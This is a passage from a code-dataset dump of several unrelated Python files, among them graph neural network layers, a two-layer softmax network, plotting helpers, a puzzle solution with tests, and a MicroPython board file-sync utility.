whom.\n all_transformed_adj = [] # At each layer, the transformed adj (normalized, etc.\n\n current_adj = self.adj.copy()\n\n # For each layer, build the adjs and the nodes to keep.\n for no_layer in range(self.nb_layer):\n\n if self.adj_transform: # Transform the adj if necessary.\n current_adj = self.adj_transform(no_layer)(current_adj)\n\n all_transformed_adj.append(current_adj)\n\n to_keep, adj = self.cluster_specific_layer(to_keep, no_layer, np.array(current_adj))\n all_to_keep.append(to_keep)\n all_aggregate_adjs.append(adj)\n\n current_adj = adj\n\n self.to_keeps = all_to_keep\n self.aggregate_adjs = all_aggregate_adjs\n self.adjs = all_transformed_adj\n\n def get_nodes_cluster(self, layer_id, adj):\n nb_nodes = adj.shape[0]\n ids = range(adj.shape[0])\n\n if self.cluster_type == \"hierarchy\":\n n_clusters = nb_nodes / (2 ** (layer_id + 1))\n # For a specific layer, return the ids. The merging and stuff's gonna be computed later.\n self.clustering = sklearn.cluster.AgglomerativeClustering(n_clusters=n_clusters, affinity='euclidean',\n memory='/Tmp', connectivity=(adj > 0.).astype(int),\n compute_full_tree='auto', linkage='ward')\n ids = self.clustering.fit_predict(self.adj) # all nodes have a cluster.\n elif self.cluster_type is None or self.cluster_type == 'ignore':\n pass\n else:\n raise ValueError('Cluster type {} unknown.'.format(self.cluster_type))\n\n return ids\n\n def cluster_specific_layer(self, last_to_keep, n_clusters, adj):\n # A cluster for a specific scale.\n\n ids = self.get_nodes_cluster(n_clusters, adj)\n n_clusters = len(set(ids))\n\n clusters = set([])\n to_keep = np.zeros((adj.shape[0],))\n cluster_adj = np.zeros((n_clusters, self.adj.shape[0]))\n\n for i, cluster in enumerate(ids):\n if last_to_keep[i] == 1.: # To keep a node, it had to be a centroid of a previous layer. Otherwise it might not work.\n if cluster not in clusters:\n clusters.add(cluster)\n to_keep[i] = 1.\n\n cluster_adj[cluster] += adj[i] # The centroid is the merged of all the adj of all the nodes inside it.\n\n new_adj = np.zeros((adj.shape[0], adj.shape[0])) # rewrite the adj matrix.\n for i, cluster in enumerate(ids):\n new_adj[i] += (cluster_adj[cluster] > 0.).astype(int)\n\n return to_keep, new_adj\n\n def get_aggregate(self, layer_id):\n return self.aggregates[layer_id]\n\n def get_adj(self, adj, layer_id):\n # To be a bit more consistant we also pass the adj.\n # Here we don't use it.\n return self.adjs[layer_id]\n\n\nclass SelfConnection(object):\n\n \"\"\"\n Add (or not) the self connection to the network.\n \"\"\"\n\n def __init__(self, add_self_connection, please_ignore, **kwargs):\n self.add_self_connection = add_self_connection\n self.please_ignore = please_ignore\n\n def __call__(self, adj):\n\n logging.info(\"Adding self connection!\")\n\n if self.add_self_connection:\n np.fill_diagonal(adj, 1.)\n else:\n np.fill_diagonal(adj, 0.)\n\n return adj\n\n\nclass ApprNormalizeLaplacian(object):\n \"\"\"\n Approximate a normalized Laplacian based on https://arxiv.org/pdf/1609.02907.pdf\n\n Args:\n processed_path (string): Where to save the processed normalized adjency matrix.\n overwrite (bool): If we want to overwrite the saved processed data.\n\n \"\"\"\n\n # TODO: add unittests\n def __init__(self, processed_dir='/Tmp/'):\n self.processed_dir = os.path.join(processed_dir, \"ApprNormalizeLaplacian-\" + str(getpass.getuser()))\n\n def __call__(self, adj):\n adj_hash = str(hash(str(adj))) + str(adj.shape)\n processed_path = self.processed_dir + '_{}.npy'.format(adj_hash)\n if not os.path.exists(self.processed_dir):\n os.makedirs(self.processed_dir)\n logging.info(\"Doing the approximation...\")\n\n np.fill_diagonal(adj, 1.) # TODO: Hummm, think it's a 0.\n\n D = adj.sum(axis=1)\n D_inv = np.diag(1. / np.sqrt(D))\n norm_transform = D_inv.dot(adj).dot(D_inv)\n\n logging.info(\"Done!\")\n\n # saving the processed approximation\n if processed_path:\n logging.info(\"Saving the approximation in {}\".format(processed_path))\n np.save(processed_path, norm_transform)\n logging.info(\"Done!\")\n\n return norm_transform\n\n\nclass GraphLayer(nn.Module):\n def __init__(self, adj, in_dim=1, channels=1, cuda=False, id_layer=None,\n transform_adj=None, aggregate_adj=None):\n super(GraphLayer, self).__init__()\n self.my_layers = []\n self.cuda = cuda\n self.nb_nodes = adj.shape[0]\n self.in_dim = in_dim\n self.channels = channels\n self.id_layer = id_layer\n self.transform_adj = transform_adj # How to transform the adj matrix.\n self.aggregate_adj = aggregate_adj\n\n if self.transform_adj is not None:\n logging.info(\"Transforming the adj matrix\")\n adj = self.transform_adj(adj, id_layer)\n self.adj = adj\n\n if self.aggregate_adj is not None:\n self.aggregate_adj = self.aggregate_adj(id_layer)\n #self.to_keep = self.aggregate_adj.to_keep\n\n self.init_params()\n\n def init_params(self):\n raise NotImplementedError()\n\n def forward(self, x):\n raise NotImplementedError()\n\n\nclass SparseMM(torch.autograd.Function):\n \"\"\"\n Sparse x dense matrix multiplication with autograd support.\n Implementation by Soumith Chintala:\n https://discuss.pytorch.org/t/\n does-pytorch-support-autograd-on-sparse-matrix/6156/7\n From: https://github.com/tkipf/pygcn/blob/master/pygcn/layers.py\n \"\"\"\n\n def __init__(self, sparse):\n super(SparseMM, self).__init__()\n self.sparse = sparse\n\n def forward(self, dense):\n return torch.mm(self.sparse, dense)\n\n def backward(self, grad_output):\n grad_input = None\n if self.needs_input_grad[0]:\n grad_input = torch.mm(self.sparse.t(), grad_output)\n return grad_input\n\n\nclass GCNLayer(GraphLayer):\n\n def init_params(self):\n self.edges = torch.LongTensor(np.array(np.where(self.adj))) # The list of edges\n flat_adj = self.adj.flatten()[np.where(self.adj.flatten())] # get the value\n flat_adj = torch.FloatTensor(flat_adj)\n\n # Constructing a sparse matrix\n logging.info(\"Constructing the sparse matrix...\")\n sparse_adj = torch.sparse.FloatTensor(self.edges, flat_adj, torch.Size([self.nb_nodes, self.nb_nodes])) # .to_dense()\n self.register_buffer('sparse_adj', sparse_adj)\n self.linear = nn.Conv1d(self.in_dim, self.channels/2, 1, bias=True) # something to be done with the stride?\n self.eye_linear = nn.Conv1d(self.in_dim, self.channels/2, 1, bias=True)\n\n def _adj_mul(self, x, D):\n nb_examples, nb_channels, nb_nodes = x.size()\n x = x.view(-1, nb_nodes)\n\n # Needs this hack to work: https://discuss.pytorch.org/t/does-pytorch-support-autograd-on-sparse-matrix/6156/7\n #x = D.mm(x.t()).t()\n x = SparseMM(D)(x.t()).t()\n\n x = x.contiguous().view(nb_examples, nb_channels, nb_nodes)\n return x\n\n def forward(self, x):\n\n x = x.permute(0, 2, 1).contiguous() # from ex, node, ch, -> ex, ch, node\n\n adj = Variable(self.sparse_adj, requires_grad=False)\n\n eye_x = self.eye_linear(x)\n\n x = self._adj_mul(x, adj) # + old_x# local average\n\n x = torch.cat([self.linear(x), eye_x], dim=1) # + old_x# conv\n\n x = x.permute(0, 2, 1).contiguous() # from ex, ch, node -> ex, node, ch\n\n # We can do max pooling and stuff, if we want.\n if self.aggregate_adj:\n x = self.aggregate_adj(x)\n\n return x\n\n\nclass LCGLayer(GraphLayer):\n\n def init_params(self):\n logging.info(\"Constructing the network...\")\n self.max_edges = sorted((self.adj > 0.).sum(0))[-1]\n\n logging.info(\"Each node will have {} edges.\".format(self.max_edges))\n\n # Get the list of all the edges. All the first index is 0, we fix that later\n edges_np = [np.asarray(np.where(self.adj[i:i + 1] > 0.)).T for i in range(len(self.adj))]\n\n # pad the edges, so they all nodes have the same number of edges. help to automate everything.\n edges_np = [np.concatenate([x, [[0, self.nb_nodes]] * (self.max_edges - len(x))]) if len(x) < self.max_edges\n else x[:self.max_edges] if len(x) > self.max_edges # Some Nodes have too many connection!\n else x\n for i, x in enumerate(edges_np)]\n\n # fix the index that was all 0.\n for i in range(len(edges_np)):\n edges_np[i][:, 0] = i\n\n edges_np = np.array(edges_np).reshape(-1, 2)\n edges_np = edges_np[:, 1:2]\n\n self.edges = torch.LongTensor(edges_np)\n self.super_edges = torch.cat([self.edges] * self.channels)\n\n # We have one set of parameters per input dim. might be slow, but for now we will do with that.\n self.my_weights = [nn.Parameter(torch.rand(self.edges.shape[0], self.channels), requires_grad=True) for _ in # TODO: to glorot\n range(self.in_dim)]\n self.my_weights = nn.ParameterList(self.my_weights)\n\n def GraphConv(self, x, edges, batch_size, weights):\n\n edges = edges.contiguous().view(-1)\n useless_node = Variable(torch.zeros(x.size(0), 1, x.size(2)))\n\n if self.cuda:\n edges = edges.cuda()\n weights = weights.cuda()\n useless_node = useless_node.cuda()\n\n x = torch.cat([x, useless_node], 1) # add a random filler node\n tocompute = torch.index_select(x, 1, Variable(edges)).view(batch_size, -1, weights.size(-1))\n\n conv = tocompute * weights\n conv = conv.view(-1, self.nb_nodes, self.max_edges, weights.size(-1)).sum(2)\n return conv\n\n def forward(self, x):\n\n nb_examples, nb_nodes, nb_channels = x.size()\n edges = Variable(self.super_edges, requires_grad=False)\n\n if self.cuda:\n edges = edges.cuda()\n\n # DO all the input channel and sum them.\n x = sum([self.GraphConv(x[:, :, i].unsqueeze(-1), edges.data, nb_examples, self.my_weights[i]) for i in range(self.in_dim)])\n\n # We can do max pooling and stuff, if we want.\n if self.aggregate_adj:\n x = self.aggregate_adj(x)\n\n return x\n\n\n# spectral graph conv\nclass SGCLayer(GraphLayer):\n\n def init_params(self):\n if self.channels != 1:\n logging.info(\"Setting Channels to 1 on SGCLayer, only number of channels supported\")\n self.channels = 1 # Other number of channels not suported.\n\n logging.info(\"Constructing the eigenvectors...\")\n\n D = np.diag(self.adj.sum(axis=1))\n self.L = D - self.adj\n self.L = torch.FloatTensor(self.L)\n self.g, self.V = torch.eig(self.L, eigenvectors=True)\n self.F = nn.Parameter(torch.rand(self.nb_nodes, self.nb_nodes), requires_grad=True)\n\n def forward(self, x):\n V = self.V\n if self.cuda:\n V = self.V.cuda()\n\n Vx = torch.matmul(torch.transpose(Variable(V), 0, 1), x)\n FVx = torch.matmul(self.F, Vx)\n VFVx = torch.matmul(Variable(V), FVx)\n x = VFVx\n\n # We can do max pooling and stuff, if we want.\n if self.aggregate_adj:\n x = self.aggregate_adj(x)\n\n return x\n\n\ndef get_transform(adj, cuda, add_self=True, norm_adj=True, num_layer=1, pooling=\"ignore\"):\n\n \"\"\"\n Return a list of transform that can be applied to the adjacency matrix.\n :param opt: the options\n :return: The list of transform.\n \"\"\"\n adj_transform = []\n if add_self:\n logging.info(\"Adding self connection to the graph...\")\n adj_transform += [lambda layer_id: SelfConnection(add_self, please_ignore=False)]\n\n if norm_adj:\n logging.info(\"Normalizing the graph...\")\n adj_transform += [lambda layer_id: ApprNormalizeLaplacian()]\n\n adj_transform = transforms.Compose(adj_transform)\n aggregator = AggregationGraph(adj, num_layer, adj_transform=adj_transform, cuda=cuda, cluster_type=pooling)\n\n get_adj = lambda adj, layer_id: aggregator.get_adj(adj, layer_id)\n get_aggregate = lambda layer_id: aggregator.get_aggregate(layer_id)\n return get_adj, get_aggregate\n","sub_path":"models/graph_layers.py","file_name":"graph_layers.py","file_ext":"py","file_size_in_byte":15739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"59415006","text":"from airplay import Airplay\nfrom django.http import Http404, HttpResponse\n\ndef device_discovery(request):\n return HttpResponse(','.join(Airplay().discovery()))\n\ndef image_serve(request, uid, device_idx):\n try:\n airplay = Airplay()\n airplay.discovery()\n airplay.send_image(uid, int(device_idx))\n except:\n raise Http404\n else:\n return HttpResponse(status=200)\n","sub_path":"src/plugins/airplay/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"537099760","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport os\n\ndef plot(lossCurve, rewardCurve, expCurve, imgCurve, outDir, showPlots=False):\n # loss\n avrgCurve = []\n for i in range(1, len(lossCurve)):\n avrgCurve.append(np.mean(lossCurve[max(0, i-20):i]))\n plt.clf()\n fig, ax1 = plt.subplots()\n ax1.axhline(y=0, color='k')\n ax1.set_ylim(0, 1)\n ax1.plot(np.arange(len(avrgCurve)), avrgCurve, label='loss')\n ax1.legend(fontsize='small')\n # rewards\n ax2 = ax1.twinx()\n avrgCurve = []\n for i in range(1, len(rewardCurve)):\n avrgCurve.append(np.mean(rewardCurve[max(0, i-30):i]))\n ax2.plot(np.arange(len(avrgCurve)), avrgCurve, c='red', label='reward')\n #ax2.set_ylim(-0.03, 0.03)\n ax2.axhline(y=0, color='k', linestyle='--', linewidth=1)\n ax2.legend(fontsize='small')\n # new game lines\n for i in range(1, len(imgCurve)):\n if imgCurve[i] < imgCurve[i-1]:\n plt.axvline(x=i, color='k', linestyle='--', linewidth=1)\n fig.tight_layout()\n plt.savefig(os.path.join(outDir, 'prog.png'), dpi=200)\n if showPlots: plt.show()\n plt.close('all')\n\n # expectation\n avrgCurve = []\n for i in range(1, len(expCurve)):\n avrgCurve.append(np.mean(expCurve[max(0, i-30):i]))\n plt.clf()\n plt.axhline(y=0, color='k')\n #plt.ylim(-0.6, 0.6)\n plt.plot(np.arange(len(avrgCurve)), avrgCurve, label='expected reward')\n plt.legend(fontsize='small')\n # new game lines\n for i in range(1, len(imgCurve)):\n if imgCurve[i] < imgCurve[i-1]:\n plt.axvline(x=i, color='k', linestyle='--', linewidth=1)\n plt.savefig(os.path.join(outDir, 'exp.png'))\n if showPlots: plt.show()\n plt.close('all')","sub_path":"core/Plotting.py","file_name":"Plotting.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"66029952","text":"import os\nimport shutil\n\nscript_id = 'pretend_send'\nrun_program = 'python3'\nrun_script = 'pretend_send.py'\ndepends_on = ['pretend_mechanics1', 'pretend_mechanics2']\n\ndef run(process):\n source_workspace = process.parent.get_workspace('pretend_mechanics')\n\n send_dir = process.root.params.get('send_dir')\n if not os.path.isdir(send_dir):\n os.makedirs(send_dir)\n\n files = os.listdir(source_workspace.path())\n for file in files:\n path = os.path.join(source_workspace.path(), file)\n shutil.copy(path, send_dir)\n\n process.completed()\n\n\nif __name__ == \"__main__\":\n import workflow_manager as wm\n\n run(wm.get_project_process())\n","sub_path":"docs/source/doc_downloads/resources/scripts/pretend_send.py","file_name":"pretend_send.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"597193749","text":"# -*- coding: utf-8 -*-\nimport unittest\n\n# 実装メモ\n # 注ぎ先の空き容量を取得\n # 注ぎ元の量を取得\n # 実際にどのくらい入るか計算\n # もし容量が足りなければ、残りの容量だけ移す\n # 入る量を注ぎ先に追加\n # 注ぎ元から出てった量を引く\n\ndef solve(capacities, bottles, from_id, to_id):\n for i, _from in enumerate(from_id):\n _to = to_id[i]\n sum = bottles[_from] + bottles[_to]\n bottles[_to] = min(sum, capacities[_to])\n bottles[_from] = sum - bottles[_to]\n return bottles\n\nclass Test(unittest.TestCase):\n def test(self):\n # 通常\n self.assertEqual(\n solve([20, 20], [5, 8], [0], [1]),\n [0, 13])\n\n # 注ぐ量が溢れる\n self.assertEqual(\n solve([10, 10], [5, 8], [0], [1]),\n [3, 10])\n\n # 連続して注ぐ\n self.assertEqual(\n solve([30, 20, 10], [10, 5, 5], [0, 1, 2], [1, 2, 0]),\n [10, 10, 0])\n\n # 注ぎ元が空になる\n self.assertEqual(\n solve([14, 35, 86, 58, 25, 62],\n [6, 34, 27, 38, 9, 60],\n [1, 2, 4, 5, 3, 3, 1, 0],\n [0, 1, 2, 4, 2, 5, 3, 1]),\n [0, 14, 65, 35, 25, 35])\n\n # 注ぎ先がすでに満杯。かな?\n self.assertEqual(\n solve([700000, 800000, 900000, 1000000],\n [478478, 478478, 478478, 478478],\n [2, 3, 2, 0, 1],\n [0, 1, 1, 3, 2]),\n [0, 156956, 900000, 856956])\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"books/saikyou-saisoku/chapter04/kiwi_juice_easy.py","file_name":"kiwi_juice_easy.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"369150527","text":"def verifica_lista(num):\n lista = []\n for each in num:\n if each % 2 == 0:\n lista.append(0)\n else:\n lista.append(1)\n if sum(lista) == 0 and len(lista)!= 0:\n return \"par\"\n elif sum(lista) == len(lista):\n return 'ímpar'\n else:\n return \"misturado\"\n ","sub_path":"backup/user_210/ch162_2020_06_10_11_05_40_164835.py","file_name":"ch162_2020_06_10_11_05_40_164835.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"215956453","text":"import pygame, sys, random\nfrom object_classes import *\nimport numpy as np\n\ndef check_collision(fish, obstaclelist, bubblelist, scalefactor, FPS = 30):\n for obstacle in obstaclelist:\n if fish.get_collisionrect(scalefactor).colliderect(obstacle.get_collisionrect(scalefactor)):\n fish.alive = False\n for bubble in bubblelist:\n if fish.rect.colliderect(bubble.rect) and fish.alive and not bubble.popped:\n fish.oxygentimer += bubble.oxygen_given*FPS\n bubble.popped = True\n","sub_path":"check_collision.py","file_name":"check_collision.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"304573886","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nclass TwoLayerNet(object):\r\n \"\"\"\r\n 两层的全连接网络。使用sotfmax损失函数和L2正则,非线性函数采用Relu函数。\r\n 网络结构:input - fully connected layer - ReLU - fully connected layer - softmax\r\n \"\"\"\r\n\r\n def __init__(self, input_size, hidden_size, output_size, std=1e-4):\r\n \"\"\"\r\n 初始化模型。\r\n 初始化权重矩阵W和偏置b。这里b置为零,但是Alexnet论文中说采用Relu函数激活时b置为1可以更快的收敛。\r\n 参数都保存在self.params字典中。\r\n 键为:\r\n W1 (D, H)\r\n b1 (H,)\r\n W2 (H, C)\r\n b2 (C,)\r\n D,H,C分别表示输入数据的维度,隐藏层大小,输出类别的个数\r\n \"\"\"\r\n self.params = {}\r\n self.params['W1'] = std * np.random.randn(input_size, hidden_size)\r\n self.params['b1'] = np.zeros(hidden_size)\r\n self.params['W2'] = std * np.random.randn(hidden_size, output_size)\r\n self.params['b2'] = np.zeros(output_size)\r\n\r\n\r\n def loss(self, X, y=None, reg=0.0):\r\n \"\"\"\r\n 如果是在训练过程,计算损失和梯度,如果是在测试过程,返回最后一层的输���,即每个类的得分。\r\n\r\n Inputs:\r\n - X (N, D). X[i] 为一个训练样本。\r\n - y: 标签。如果为None则表示是在进行测试过程,否则是在进行训练过程。\r\n - reg: Regularization strength.\r\n\r\n Returns:\r\n 如果y=None,返回shape为(N, C)的矩阵,scores[i, c]表示输入i在c类上的得分。\r\n\r\n 如果y!=None, 返回一个tuple:\r\n - loss: 包括数据损失和正则损失两部分。\r\n - grads: 各个参数的梯度。\r\n \"\"\"\r\n \r\n W1, b1 = self.params['W1'], self.params['b1']\r\n W2, b2 = self.params['W2'], self.params['b2']\r\n N, D = X.shape\r\n C=b2.shape[0]\r\n \r\n #forward pass\r\n h1=np.maximum(0,np.dot(X,W1)+b1)\r\n h2=np.dot(h1,W2)+b2\r\n scores=h2\r\n \r\n if y is None:\r\n return scores\r\n\r\n # 计算loss\r\n shift_scores=scores-np.max(scores,axis=1).reshape(-1,1)\r\n exp_scores=np.exp(shift_scores)\r\n softmax_out=exp_scores/np.sum(exp_scores,axis=1).reshape(-1,1)\r\n loss=np.sum(-np.log(softmax_out[range(N),y]))/N+reg * (np.sum(W1 * W1) + np.sum(W2 * W2))\r\n print(np.sum(-np.log(softmax_out[range(N),y]))/N,reg * (np.sum(W1 * W1) + np.sum(W2 * W2)))\r\n\r\n # Backward pass: 计算梯度,梯度的计算就是链式求导的过程\r\n grads = {}\r\n\r\n dscores = softmax_out.copy()\r\n dscores[range(N),y]-=1\r\n dscores /= N\r\n \r\n grads['W2']=np.dot(h1.T,dscores)+2*reg*W2\r\n grads['b2']=np.sum(dscores,axis=0)\r\n \r\n dh=np.dot(dscores,W2.T)\r\n d_max=(h1>0)*dh\r\n \r\n grads['W1'] = X.T.dot(d_max) + 2*reg * W1\r\n grads['b1'] = np.sum(d_max, axis = 0)\r\n\r\n return loss, grads\r\n\r\n def train(self, X, y, X_val, y_val,\r\n learning_rate=1e-3, learning_rate_decay=0.95,\r\n reg=5e-6, num_iters=100,\r\n batch_size=200, verbose=False):\r\n \"\"\"\r\n 自动化训练过程。采用SGD优化。\r\n\r\n Inputs:\r\n - X (N, D):训练输入。\r\n - y (N,) :标签。 y[i] = c 表示X[i]的类别下标是c。\r\n - X_val (N_val, D):验证集输入。\r\n - y_val (N_val,): 验证集标签。\r\n - learning_rate: \r\n - learning_rate_decay: 学习率的损失因子。\r\n - reg: regularization strength。\r\n - num_iters: 迭代次数。\r\n - batch_size: 每次迭代的数据批大小。.\r\n - verbose: 是否显示训练进度。\r\n \"\"\"\r\n num_train = X.shape[0]\r\n iterations_per_epoch = max(num_train / batch_size, 1)\r\n\r\n loss_history = []\r\n train_acc_history = []\r\n val_acc_history = []\r\n\r\n for it in range(num_iters):\r\n #随机选择一批数据\r\n idx = np.random.choice(num_train, batch_size, replace=True)\r\n X_batch = X[idx]\r\n y_batch = y[idx]\r\n # 计算损失和梯度\r\n loss, grads = self.loss(X_batch, y=y_batch, reg=reg)\r\n loss_history.append(loss)\r\n #更新参数\r\n self.params['W2'] += - learning_rate * grads['W2']\r\n self.params['b2'] += - learning_rate * grads['b2']\r\n self.params['W1'] += - learning_rate * grads['W1']\r\n self.params['b1'] += - learning_rate * grads['b1']\r\n #可视化进度\r\n if verbose and it % 100 == 0:\r\n print('iteration %d / %d: loss %f' % (it, num_iters, loss))\r\n\r\n # 每个epoch保存一次数据记录\r\n if it % iterations_per_epoch == 0:\r\n train_acc = (self.predict(X_batch) == y_batch).mean()\r\n val_acc = (self.predict(X_val) == y_val).mean()\r\n train_acc_history.append(train_acc)\r\n val_acc_history.append(val_acc)\r\n #学习率衰减\r\n learning_rate *= learning_rate_decay\r\n return {\r\n 'loss_history': loss_history,\r\n 'train_acc_history': train_acc_history,\r\n 'val_acc_history': val_acc_history,\r\n }\r\n\r\n def predict(self, X):\r\n \"\"\"\r\n 使用训练好的参数预测输入的标签。\r\n\r\n Inputs:\r\n - X (N, D): 需要预测的输入。\r\n\r\n Returns:\r\n - y_pred (N,):每个输入的预测分类下标。\r\n \"\"\"\r\n \r\n h = np.maximum(0, X.dot(self.params['W1']) + self.params['b1'])\r\n scores = h.dot(self.params['W2']) + self.params['b2']\r\n y_pred = np.argmax(scores, axis=1)\r\n\r\n return y_pred","sub_path":"hw1/nerual_net.py","file_name":"nerual_net.py","file_ext":"py","file_size_in_byte":5291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"573535293","text":"import os\nimport time as Time\nimport json\n\nESP32 = 'ESP-32'\n\nESP8266 = 'ESP-8266'\n\n\ndef run(port,code, popen=True):\n from serial import Serial\n with Serial(port, 115200) as esp:\n esp.write( b'\\x01' )\n esp.write( bytes('code = %r\\n' % code ,'latin1' ) )\n esp.write( b'exec(code,globals(),globals());print(\"\\x06\")\\n' )\n esp.write( b'\\x04\\x02')\n esp.flush()\n if popen:\n Time.sleep(0.1)\n buf = []\n eot = False\n while True:\n incoming = esp.read(esp.in_waiting).decode('utf-8')\n if incoming:\n buf.append( incoming )\n\n incoming = ''.join( buf )\n buf.clear()\n\n if incoming.count( chr(6) ):\n #flush noises\n eot=True\n\n while incoming.count('\\r\\n'):\n head,incoming = incoming.split('\\r\\n',1)\n yield head\n\n if incoming:\n buf.append(incoming)\n\n if eot:\n if len(buf):\n yield ''.join( buf)\n break\n else:\n Time.sleep(0.001)\n esp.reset_input_buffer()\n\n\n\ndef cp(args_filename, args_destination, **kw):\n from serial import Serial\n from zlib import compress\n with Serial( kw.get('port'), 115200) as esp:\n\n if '-v' in kw:\n print(args_filename,' => ',args_destination)\n\n esp.write( b'\\x01' )\n with open(args_filename, 'rb') as source_file:\n esp.write( bytes('data = %r\\n' % compress(source_file.read()) ,'latin1' ) )\n esp.flush()\n\n esp.write( bytes( '''\nfrom uzlib import decompress\nwith open('%s', 'wb') as target_file:\n target_file.write(decompress(data))\nprint(\"\\x06\")\n''' % args_destination ,'latin1') )\n esp.write( b'\\x04' )\n esp.write( b'\\x02' )\n esp.flush()\n while True:\n incoming = esp.read(esp.in_waiting).decode('utf-8')\n if incoming:\n if incoming.count( chr(6) ):\n break\n else:\n Time.sleep(0.001)\n esp.reset_input_buffer()\n\n\ndef TMP(name):\n return '/'.join( ( os.getenv('TMP','/tmp') , name ) )\n\nSRC = os.getenv('WORKDIR')\n\nif SRC is None:\n print(\"WORKDIR is not set, i don't know what folder to sync\")\nelse:\n\n SRC = SRC.strip('.\\r\\n/ ')+\"/\"\n RUN_SCRIPT = TMP(\"fastupd.py\")\n RESET_SCRIPT = TMP(\"fastboot.py\")\n\n def sha1(f,block=512):\n import hashlib as uhashlib\n import binascii as ubinascii\n h = uhashlib.sha1()\n if isinstance(f, str):\n try:\n f = open(f, \"rb\")\n except OSError:\n f = None\n while f:\n data = f.read(block)\n if data:\n h.update(data)\n else:\n break\n if f:\n f.close()\n return ubinascii.hexlify(h.digest()).decode() # .lower()\n\n\n def upcom(board_script, board, port):\n\n\n\n\n #file table for board to sum\n fat = {}\n\n for fn in os.popen(\"find -L %s|grep .py$\" % SRC).readlines():\n fn = fn.strip()\n fat[fn.rsplit( SRC, 1)[-1]] = sha1(fn)\n\n print(' - Sending file table to board via {}'.format(RUN_SCRIPT) )\n with open(RUN_SCRIPT, \"wb\") as fastupd:\n fat = open(board_script,'rb').read().decode('utf-8') % { 'fat': repr(fat), 'src': SRC }\n\n fastupd.write( fat.encode('utf-8') )\n\n print(f\"\\nBoard {board}@{port} will update for :\")\n print(\"-----------------------\\n\\n\")\n\n updates = []\n\n if board in (ESP32,):\n code = open(RUN_SCRIPT,'rb').read().decode('utf-8')\n\n for l in run(port, code ):\n l = l.strip()\n if l.startswith(\"~ \"):\n print('\\t',l )\n updates.append(SRC + l.strip(\"~ \"))\n\n Time.sleep(0.8)\n print()\n print('Syncing files ...')\n for upd in updates:\n dst = upd.rsplit( SRC, 1)[-1]\n cp(upd,dst,**{ 'port':port, '-v': True } )\n\n #FIXME: wait ack from board like for run+popen\n Time.sleep(0.1)\n\n [ run(port, \"__import__('machine').reset()\" , popen=False) ]\n\n else:\n for l in os.popen(\"ampy run %s\" % RUN_SCRIPT):\n l = l.strip()\n if l.startswith(\"~ \"):\n print('\\t',l )\n updates.append(SRC + l.strip(\"~ \"))\n else:\n print(l)\n\n Time.sleep(0.8)\n print()\n print('syncing files ...')\n for upd in updates:\n dst = upd.rsplit( SRC, 1)[-1]\n print(upd,' => ',dst)\n os.system(\"ampy put %s /%s\" % (upd,dst) )\n Time.sleep(0.02)\n\n print('\\n\\nAll files sent, reset Board ...')\n with open( RESET_SCRIPT,'wb') as f:\n f.write(b'''__import__('machine').reset()''')\n os.system('ampy run %s' % RESET_SCRIPT)\n Time.sleep(0.2)\n\n","sub_path":"stupyde/upcom/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"323435954","text":"\"\"\"\nManagers for the Profile models\n\"\"\"\nimport commonware\n\nfrom django.core.exceptions import MultipleObjectsReturned\nfrom django.db import models\nfrom django.db.models import Q\n\nlog = commonware.log.getLogger('f.profile.managers')\n\nMAX_GET_PROFILE = 2\nclass ProfileManager(models.Manager):\n \" manager for Person object \"\n\n def get_user_by_username_or_nick(self, username):\n # for local users\n by_username = Q(user__username=username)\n # for AMO users\n by_nick = Q(nickname=username)\n\n index = 0\n def _get_profile():\n try:\n return self.get(by_nick | by_username)\n except MultipleObjectsReturned:\n profiles = self.filter(by_nick | by_username)\n\n for p in profiles:\n p.update_from_AMO()\n\n if index > MAX_GET_PROFILE:\n log.error((\"User (%s) has multiple profiles. \"\n \"AMO uids: (%s)\") %\n (username,\n ', '.join([p.user.username for p in profiles])))\n raise\n index += 1\n return _get_profile()\n\n return _get_profile()\n\n\n","sub_path":"apps/person/managers.py","file_name":"managers.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"132935181","text":"# Copyright 2016 Nokia\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport traceback\n\nfrom oslo_log import log as logging\nfrom oslotest import base\n\nfrom vitrage.common.constants import EdgeProperties\nfrom vitrage.common.constants import EntityCategory\nfrom vitrage.common.constants import VertexProperties as VProps\nfrom vitrage.datasources.aodh import AODH_DATASOURCE\nfrom vitrage.datasources.cinder.volume import CINDER_VOLUME_DATASOURCE\nfrom vitrage.datasources.heat.stack import HEAT_STACK_DATASOURCE\nfrom vitrage.datasources.neutron.network import NEUTRON_NETWORK_DATASOURCE\nfrom vitrage.datasources.neutron.port import NEUTRON_PORT_DATASOURCE\nfrom vitrage.datasources import NOVA_HOST_DATASOURCE\nfrom vitrage.datasources import NOVA_INSTANCE_DATASOURCE\nfrom vitrage.datasources import NOVA_ZONE_DATASOURCE\nfrom vitrage.datasources import 